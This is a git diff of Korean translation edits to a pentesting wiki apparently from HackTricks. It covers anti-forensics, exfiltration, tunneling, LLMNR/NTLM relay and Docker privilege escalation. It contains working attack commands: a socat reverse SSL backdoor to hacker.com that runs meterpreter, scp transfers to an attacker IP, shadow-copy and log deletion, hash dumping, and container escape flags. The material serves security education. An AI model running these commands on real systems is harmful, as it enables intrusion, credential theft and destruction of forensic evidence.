### OpenSSL 무차별 대입 공격
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)

32
src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
View File

@ -3,7 +3,7 @@
# 타임스탬프
공격자는 **파일의 타임스탬프를 변경**하여 탐지를 피하고자 할 수 있습니다.\
타임스탬프는 MFT의 `$STANDARD_INFORMATION` ** 및 ** `$FILE_NAME` 속성 내에서 찾을 수 있습니다.
타임스탬프는 MFT의 `$STANDARD_INFORMATION`**및**`$FILE_NAME` 속성 내에서 찾을 수 있습니다.
두 속성 모두 4개의 타임스탬프를 가지고 있습니다: **수정**, **접근**, **생성**, 및 **MFT 레지스트리 수정** (MACE 또는 MACB).
@ -11,7 +11,7 @@
## TimeStomp - 안티 포렌식 도구
이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 **수정하지 않습니다**. 따라서 **의심스러운** **활동**을 **식별**할 수 있습니다.
이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 수정하지 않습니다. 따라서 **의심스러운** **활동**을 **식별**할 수 있습니다.
## Usnjrnl
@ -23,7 +23,7 @@
## $LogFile
**파일 시스템에 대한 모든 메타데이터 변경 사항은** [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에 기록됩니다. 기록된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 저장됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 파싱하고 변경 사항을 식별할 수 있습니다.
**파일 시스템에 대한 모든 메타데이터 변경 사항은** [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에 기록됩니다. 기록된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 저장됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
![](<../../images/image (450).png>)
@ -44,7 +44,7 @@
## 나노초
**NTFS** 타임스탬프는 **100 나노초**의 **정밀도**를 가지고 있습니다. 따라서 타임스탬프가 2010-10-10 10:10:**00.000:0000인 파일을 찾는 것은 매우 의심스럽습니다.
**NTFS** 타임스탬프는 **100 나노초**의 **정밀도**를 가집니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스럽습니다.
## SetMace - 안티 포렌식 도구
@ -54,7 +54,7 @@
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 차지하면, **남은 반 개는 파일이 삭제될 때까지 절대 사용되지 않습니다**. 따라서 이 슬랙 공간에 **데이터를 숨길 수 있습니다**.
슬래커와 같은 도구를 사용하면 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 보여줄 수 있습니다:
슬랙 공간에 데이터를 숨길 수 있는 slacker와 같은 도구가 있습니다. 그러나 `$logfile` 및 `$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 보여줄 수 있습니다:
![](<../../images/image (452).png>)
@ -62,12 +62,12 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
# UsbKill
이 도구는 **USB** 포트에서 변경 사항이 감지되면 컴퓨터를 **꺼**버립니다.\
이 도구는 **USB** 포트에서 변경 사항이 감지되면 컴퓨터를 **끄는** 기능을 합니다.\
이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토**하는 것입니다.
# 라이브 리눅스 배포판
이 배포판은 **RAM** 메모리 내에서 **실행됩니다**. 이를 감지하는 유일한 방법은 **NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우**입니다. 읽기 권한으로만 마운트되면 침입을 감지할 수 없습니다.
이 배포판은 **RAM** 메모리 내에서 **실행됩니다**. 이를 감지하는 유일한 방법은 **NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우**입니다. 읽기 권한만으로 마운트되면 침입을 감지할 수 없습니다.
# 안전한 삭제
@ -81,14 +81,14 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
이것은 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다.
UserAssist를 비활성화하려면 두 단계가 필요합니다:
UserAssist를 비활성화하려면 두 단계를 수행해야 합니다:
1. 두 개의 레지스트리 키, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`를 모두 0으로 설정하여 UserAssist를 비활성화하겠다는 신호를 보냅니다.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다.
## 타임스탬프 비활성화 - Prefetch
이것은 Windows 시스템의 성능을 향상시키기 위해 실행된 애플리케이션에 대한 정보를 저장합니다. 그러나 이것은 포렌식 관행에도 유용할 수 있습니다.
이것은 Windows 시스템의 성능을 개선하기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이것은 포렌식 관행에도 유용할 수 있습니다.
- `regedit` 실행
- 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
@ -98,7 +98,7 @@ UserAssist를 비활성화하려면 두 단계가 필요합니다:
## 타임스탬프 비활성화 - 마지막 접근 시간
NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더에 대해 **타임스탬프 필드를 업데이트하는 데 시간을 소요합니다**, 이를 마지막 접근 시간이라고 합니다. 사용량이 많은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더에 대해 **타임스탬프 필드를 업데이트하는 데 시간을 소요**합니다. 이를 마지막 접근 시간이라고 합니다. 사용량이 많은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
1. 레지스트리 편집기(Regedit.exe)를 엽니다.
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`으로 이동합니다.
@ -107,19 +107,19 @@ NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더
## USB 기록 삭제
모든 **USB 장치 항목**은 USB 장치를 PC 또는 노트북에 연결할 때 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키 아래에 Windows 레지스트리에 저장됩니다. 이 키는 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`에서 찾을 수 있습니다. **이것을 삭제하면** USB 기록이 삭제됩니다.\
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제되었는지 확인할 수 있습니다 (그리고 삭제할 수 있습니다).
모든 **USB 장치 항목**은 USB 장치를 PC 또는 노트북에 연결할 때 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키에 저장됩니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이것을 삭제하면** USB 기록이 삭제됩니다.\
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제했는지 확인할 수 있습니다 (그리고 삭제할 수 있습니다).
USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내의 `setupapi.dev.log` 파일입니다. 이것도 삭제해야 합니다.
## 섀도우 복사 비활성화
**섀도우 복사 목록**을 보려면 `vssadmin list shadowstorage` 실행\
**삭제**하려면 `vssadmin delete shadow` 실행
**섀도우 복사 목록**을 보려면 `vssadmin list shadowstorage`를 실행합니다.\
**삭제**하려면 `vssadmin delete shadow`를 실행합니다.
GUI를 통해 삭제하려면 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따르십시오.
섀도우 복사를 비활성화하려면 [여기에서 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 참조하십시오):
섀도우 복사를 비활성화하려면 [여기에서 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르십시오:
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 후 마우스 오른쪽 버튼을 클릭하여 속성에 접근합니다.
@ -129,7 +129,7 @@ GUI를 통해 삭제하려면 [https://www.ubackup.com/windows-10/how-to-delete-
## 삭제된 파일 덮어쓰기
- **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이는 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 모든 데이터를 제거하도록 암호화 도구에 지시합니다.
- **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이는 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 cipher에 지시합니다.
- [**Eraser**](https://eraser.heidi.ie)와 같은 도구를 사용할 수도 있습니다.
## Windows 이벤트 로그 삭제

12
src/generic-hacking/exfiltration.md
View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## 정보를 유출하기 위해 일반적으로 허용된 도메인
## 정보 유출을 위해 일반적으로 허용된 도메인
[https://lots-project.com/](https://lots-project.com/)를 확인하여 악용될 수 있는 일반적으로 허용된 도메인을 찾으세요.
@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
samba를 사용하여 SMB 공유를 생성합니다:
samba를 사용하여 **smb 공유**를 생성합니다:
```bash
apt-get install samba
mkdir /tmp/smb
@ -181,7 +181,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
피해자가 SSH를 가지고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있습니다.
희생자가 SSH를 가지고 있다면, 공격자는 희생자의 디렉토리를 공격자에게 마운트할 수 있습니다.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -234,7 +234,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
기본적으로 XP와 2003에서는 (다른 버전에서는 설치 중에 명시적으로 추가해야 함)
기본적으로 XP와 2003에서 (다른 버전에서는 설치 중에 명시적으로 추가해야 함)
Kali에서, **TFTP 서버 시작**:
```bash
@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt
```
그런 다음 텍스트를 윈도우 셸에 복사하여 붙여넣으면 nc.exe라는 파일이 생성됩니다.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
{{#include ../banners/hacktricks-training.md}}

34
src/generic-hacking/tunneling-and-port-forwarding.md
View File

@ -5,7 +5,7 @@
## Nmap tip
> [!WARNING]
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐색을 비활성화**해야 합니다 (`-Pn`) 및 **TCP 스캔**을 지정해야 합니다 (`-sT`) 이 작업이 수행되도록 합니다.
> **ICMP** 및 **SYN** 스캔은 socks 프록시를 통해 터널링할 수 없으므로 **ping 탐지**를 **비활성화**해야 합니다 (`-Pn`) 그리고 **TCP 스캔**(`-sT`)을 지정해야 합니다.
## **Bash**
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
두 장치 모두에서 **루트 권한이 필요**합니다(새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
두 장치에서 **루트 권한이 필요합니다** (새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정에서 루트 로그인을 허용해야 합니다:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -154,13 +154,13 @@ To note:
- Beacon의 리버스 포트 포워드는 **개별 머신 간의 중계가 아니라 Team Server로 트래픽을 터널링하기 위해 설계되었습니다**.
- 트래픽은 **Beacon의 C2 트래픽 내에서 터널링됩니다**, P2P 링크를 포함하여.
- **리버스 포트 포워드를 생성하는 데 관리자 권한이 필요하지 않습니다** 고포트에서.
- **리버스 포트 포워드를 생성하는 데 관리자 권한이 필요하지 않습니다**.
### rPort2Port local
> [!WARNING]
> 이 경우, **포트는 비콘 호스트에서 열리며**, Team Server가 아니라 **트래픽은 Cobalt Strike 클라이언트로 전송됩니다** (Team Server가 아니라) 그리고 거기서 지정된 호스트:포트로 전송됩니다.
```
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
리버스 터널. 터널은 피해자에서 시작됩니다.\
역방향 터널. 터널은 피해자에서 시작됩니다.\
127.0.0.1:1080에 socks4 프록시가 생성됩니다.
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
@ -286,13 +286,13 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
당신은 피해자의 콘솔에서 마지막 줄 대신 이 줄을 실행하여 **비인증 프록시**를 우회할 수 있습니다:
이 줄을 희생자의 콘솔에서 마지막 줄 대신 실행하면 **비인증 프록시**를 우회할 수 있습니다:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
### SSL Socat 터널
**/bin/sh 콘솔**
@ -331,7 +331,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
### Port2Port
로컬 관리자가 되어야 합니다 (모든 포트에 대해)
로컬 관리자여야 합니다 (모든 포트에 대해)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -383,7 +383,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
프록시에 대해 인증하고 지정한 외부 서비스로 포트를 로컬에서 바인딩합니다. 그런 다음 이 포트를 통해 원하는 도구를 사용할 수 있습니다.\
프록시에 대해 인증하고 외부 서비스에 지정한 포트에 로컬로 바인딩합니다. 그런 다음 이 포트를 통해 원하는 도구를 사용할 수 있습니다.\
예를 들어 포트 443을 포워딩합니다.
```
Username Alice
@ -405,19 +405,19 @@ Microsoft에서 만든 리버스 프록시입니다. 여기에서 찾을 수 있
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
두 시스템 모두에서 tun 어댑터를 생성하고 DNS 쿼리를 사용하여 데이터 터널링을 수행하려면 루트 권한이 필요합니다.
두 시스템 모두에서 루트 권한이 필요하여 tun 어댑터를 생성하고 DNS 쿼리를 사용하여 데이터 터널링을 수행합니다.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성할 수 있습니다:
터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성하려면 다음을 사용하십시오:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
[**여기에서 다운로드하세요**](https://github.com/iagox86/dnscat2)**.**
[**여기에서 다운로드**](https://github.com/iagox86/dnscat2)**.**
DNS를 통해 C\&C 채널을 설정합니다. 루트 권한이 필요하지 않습니다.
```bash
@ -440,11 +440,11 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Proxychains DNS 변경
#### 프록시체인 DNS 변경
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. **기본적으로** proxychains가 사용하는 **DNS** 서버는 **4.2.2.2**입니다(하드코딩됨). 이를 변경하려면 파일을 편집하십시오: _/usr/lib/proxychains3/proxyresolv_ 및 IP를 변경하십시오. **Windows 환경**에 있는 경우 **도메인 컨트롤러**의 IP를 설정할 수 있습니다.
## Go에서의 터널
## Go의 터널
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
@ -455,7 +455,7 @@ Proxychains는 `gethostbyname` libc 호출을 가로채고 TCP DNS 요청을 soc
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
두 시스템 모두에서 루트 권한이 필요하며, ICMP 에코 요청을 사용하여 터널 어댑터를 생성하고 데이터 간에 터널링합니다.
두 시스템 모두에서 루트 권한이 필요하여 tun 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -513,7 +513,7 @@ _필요한 경우 인증 및 TLS를 추가하는 것도 가능합니다._
```
#### HTTP 호출 스니핑
_XSS, SSRF, SSTI 등에 유용 ..._\
_XSS, SSRF, SSTI 등에 유용..._\
stdout 또는 HTTP 인터페이스에서 직접 [http://127.0.0.1:4040](http://127.0.0.1:4000)에서.
#### 내부 HTTP 서비스 터널링

26
src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
View File

@ -6,7 +6,7 @@
### 로컬 호스트 해상도 프로토콜
- **LLMNR, NBT-NS 및 mDNS**:
- **LLMNR, NBT-NS, 및 mDNS**:
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다.
@ -24,7 +24,7 @@
- Kali Linux에 기본적으로 설치되어 있으며, `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
- Responder는 캡처된 해시를 화면에 표시하고 `/usr/share/responder/logs` 디렉토리에 저장합니다.
- IPv4와 IPv6를 모두 지원합니다.
- Responder의 Windows 버전은 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
- Windows 버전의 Responder는 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
#### Responder 실행
@ -34,7 +34,7 @@
- WPAD 가장을 활성화하려면: `responder -I <Interface> --wpad`
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
### Responder를 통한 DHCP 오염
### Responder를 이용한 DHCP 오염
- DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있으며, ARP 오염보다 더 은밀한 대안이 됩니다.
- 이는 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.
@ -43,7 +43,7 @@
### Responder로 자격 증명 캡처
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(일반적으로 NTLMv2 챌린지/응답)을 캡처합니다.
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명 크랙을 쉽게 할 수 있는 시도를 할 수 있습니다.
이러한 기술을 사용하는 것은 법적이고 윤리적으로 수행되어야 하며, 적절한 승인을 보장하고 중단이나 무단 접근을 피해야 합니다.
@ -53,25 +53,25 @@
Inveigh는 Windows 시스템을 위한 침투 테스터 및 레드 팀원을 위한 도구입니다. Responder와 유사한 기능을 제공하며, 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전하였으며, [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 및 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 주요 버전입니다. 자세한 매개변수 및 지침은 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 확인할 수 있습니다.
Inveigh는 PowerShell을 통해 운영할 수 있습니다:
```powershell
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
C# 바이너리로 실행됨:
```bash
Inveigh.exe
```
### NTLM 릴레이 공격
### NTLM Relay Attack
이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:
- 인증하는 사용자는 릴레이된 호스트에서 로컬 관리자 권한을 가져야 합니다.
- SMB 서명이 비활성화되어 있어야 합니다.
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다.
- SMB 서명이 비활성화되어야 합니다.
#### 445 포트 포워딩 및 터널링
직접적인 네트워크 소개가 불가능한 경우, 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 포트 445 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 445 포트 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
Cobalt Strike에서 PortBender 설정 및 작동:
PortBender 설정 및 Cobalt Strike에서의 작동:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -93,7 +93,7 @@ beacon> socks stop
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
각 도구는 필요에 따라 SOCKS 프록스를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
### MultiRelay 작동
@ -109,13 +109,13 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
### NTLM 로그인 강제화
Windows에서는 **일부 권한이 있는 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽어보세요:
Windows에서는 **일부 권한이 있는 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## 참고 문헌
## 참고자료
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)

6
src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
때때로 **docker 소켓에 접근**할 수 있으며 이를 사용하여 **권한을 상승**시키고 싶을 수 있습니다. 일부 작업은 매우 의심스러울 수 있으므로 피하고 싶을 수 있습니다. 여기에서 권한 상승에 유용할 수 있는 다양한 플래그를 찾을 수 있습니다:
때때로 **docker 소켓에 접근할 수** 있으며 이를 사용하여 **권한을 상승**시키고 싶을 수 있습니다. 일부 작업은 매우 의심스러울 수 있으므로 피하고 싶을 수 있습니다. 여기에서 권한 상승에 유용할 수 있는 다양한 플래그를 찾을 수 있습니다:
### 마운트를 통한 방법
루트로 실행 중인 컨테이너에서 **파일 시스템**의 다양한 부분을 **마운트**하고 **접근**할 수 있습니다.\
컨테이너 내부에서 권한을 상승시키기 위해 **마운트를 악용**할 수도 있습니다.
- **`-v /:/host`** -> 호스트 파일 시스템을 컨테이너에 마운트하여 **호스트 파일 시스템을 읽을 수 있습니다.**
- **`-v /:/host`** -> 호스트 파일 시스템을 컨테이너에 마운트하여 **호스트 파일 시스템을 읽을 수** 있습니다.
- 호스트에 있는 것처럼 느끼고 싶지만 컨테이너에 있는 경우 다음과 같은 플래그를 사용하여 다른 방어 메커니즘을 비활성화할 수 있습니다:
- `--privileged`
- `--cap-add=ALL`
@ -20,7 +20,7 @@
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 이전 방법과 유사하지만 여기서는 **디바이스 디스크를 마운트**하고 있습니다. 그런 다음 컨테이너 내부에서 `mount /dev/sda1 /mnt`를 실행하면 **/mnt**에서 **호스트 파일 시스템에 접근**할 수 있습니다.
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> 이전 방법과 유사하지만 여기서는 **디바이스 디스크를 마운트**하고 있습니다. 그런 다음 컨테이너 내부에서 `mount /dev/sda1 /mnt`를 실행하면 **/mnt**에서 **호스트 파일 시스템에 접근**할 수 있습니다.
- 호스트에서 `fdisk -l`을 실행하여 마운트할 `</dev/sda1>` 디바이스를 찾습니다.
- **`-v /tmp:/host`** -> 어떤 이유로 호스트에서 **특정 디렉토리만 마운트**할 수 있고 호스트 내부에 접근할 수 있는 경우, 이를 마운트하고 마운트된 디렉토리에 **suid**가 있는 **`/bin/bash`**를 생성하여 **호스트에서 실행하고 루트로 상승**할 수 있습니다.

14
src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
View File

@ -4,27 +4,27 @@
## What is Distroless
A distroless container is a type of container that **특정 애플리케이션을 실행하는 데 필요한 종속성만 포함**하며, 필요하지 않은 추가 소프트웨어나 도구는 포함하지 않습니다. 이러한 컨테이너는 **가볍고** **안전**하도록 설계되었으며, 불필요한 구성 요소를 제거하여 **공격 표면을 최소화**하는 것을 목표로 합니다.
Distroless 컨테이너는 **특정 애플리케이션을 실행하는 데 필요한 종속성만 포함하는** 컨테이너의 일종으로, 필요하지 않은 추가 소프트웨어나 도구는 포함하지 않습니다. 이러한 컨테이너는 가능한 한 **경량화**되고 **안전**하도록 설계되었으며, 불필요한 구성 요소를 제거하여 **공격 표면을 최소화**하는 것을 목표로 합니다.
Distroless 컨테이너는 **보안과 신뢰성이 가장 중요한** **생산 환경**에서 자주 사용됩니다.
Some **examples** of **distroless containers** are:
**Distroless 컨테이너의 몇 가지 예**는 다음과 같습니다:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- **Google**에서 제공: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- **Chainguard**에서 제공: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **임의의 바이너리와 페이로드를 실행할 수 있는 것**이며, **distroless**에 의해 암시된 **제한**(시스템에 일반적인 바이너리 부족)과 **읽기 전용** 또는 **실행 금지**와 같은 컨테이너에서 일반적으로 발견되는 보호 장치에도 불구하고 가능합니다.
